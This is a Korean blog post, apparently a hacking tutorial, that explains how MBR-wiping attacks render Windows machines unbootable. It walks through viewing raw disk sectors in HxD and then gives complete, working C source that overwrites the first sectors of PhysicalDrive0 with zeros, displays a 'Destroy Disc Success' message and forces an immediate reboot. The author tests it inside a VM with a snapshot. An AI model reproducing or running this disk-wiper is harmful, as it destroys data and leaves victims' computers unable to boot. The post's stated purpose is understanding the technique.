*이 포스팅은 해킹 기법에 대한 이해와 분석을 목적으로 만들어 졌으며, 

이를 악용할 시 발생하는 책임에는 관계가 없습니다.



예전에 하드디스크를 공격하여 하드디스크를 파괴하는 공격이 자주 일어났었다. 컴퓨터를 키면 window가 부팅이 되지 않고, 부팅할 하드가 없다는 명령어와 함께 컴퓨터의 하드를 싹 날리는 공격이였다.

어떻게 이런 공격이 가능한 것일까. 

일단 HDD가 어떤식으로 내용이 저장되는 지에 대해 확인하기 위해 HxD 라는 프로그램을 다운받아보자.






구글에서 검색하면 쉽게 다운로드 받을 수 있다. 





한국 국기가 있는곳에 Download per HTTP 를 눌러서 다운받자.





다운받고 설치를 하면 관리자 권한으로 실행을 눌러주자. 

관리자 권한으로 실행하지 않으면 안에 내용을 제대로 볼 수 가 없다.









글쓴이는 VM으로 여러 가지를 연습하기위해 하드를 여러개 달아논 상태이다.

하드 디스크 1로 들어가서 읽기전용으로 열기를 해제하고 안을 봐보자.





안에 내용을 보면 모두 16진수로 입력이 되어있는 것을 확인 할 수 있다. 하드디스크 첫번째에 첫번째 섹터에는 보통 OS에 대한 기록이 있으며 1섹터 마지막 쯤에는 파티션테이블이 기록되어 있다. (후에 실습내용)


이렇게 본다면 이제 하드디스크를 날리는 악성코드를 만들기위해서는 하드에있는 모든 내용을 0으로 초기화 시키면 된다는 것을 알았다.

 



Visual Studio C++을 다운받아 다음과 같은 코드를 짜보자.


#include <stdio.h>

#include <windows.h>


char trash[512];

int i=0,ret;

DWORD dwWrite;


int main() {

 ZeroMemory(trash,sizeof(trash));

 HANDLE hDevice = CreateFile(

    "\\\\.\\PhysicalDrive0", // OS는 보통 0번 HDD에 설치되어 있음

    GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 

    NULL, OPEN_EXISTING, 0, NULL);


 for(i=1 ; i<=5000 ; i++) {

  ret=WriteFile(hDevice, trash, sizeof(trash) , &dwWrite, NULL);  

 } //0으로 초기화 시킨다


 if (ret == ERROR_SUCCESS) {

   MessageBox(NULL, "Destroy Disc Success!!!", "you cleared", MB_OK);

   WinExec("shutdown -r -t 0", MB_OK);

 } //파일을 실행시킬때 다음과 같은 문구가 뜨고 강제로 부팅


 return 0;

}




위에 코드를 빌드하기 전에 하드디스크가 날아갈 것을 대비하여 스냅샷을 찍어주도록 하자.

하드를 날린다음 저장한 스냅샷으로 다시 복원시키기 위함이다.





코드를 빌드하고 실행을 하면 다음과 같은 문구가 뜬다. 확인을 누르면 재부팅이 되는걸 알기 때문에, 

확인을 누르지않고 다시 HxD를 들어가서 나의 하드의 상태를 확인해보자.





아까 이것 저것 적혀있던 나의 하드가 모두 0으로 초기화 된 것을 알 수 있다. 

이 내용은 이제 다음 부팅때부터 읽어오므로 지금에는 아무런 증상을 느낄 수 없다.

이제 확인을 눌러서 재부팅을 해보자.





부트테이블을 찾을 수 없다는 문구와 함께, 하드가 날아간 것을 볼 수 있다.

간단한 악성코드 하나로 하드를 날려보았다. 이제 스냅샷 찍은것으로 다시 되돌리도록 하자.



+ Recent posts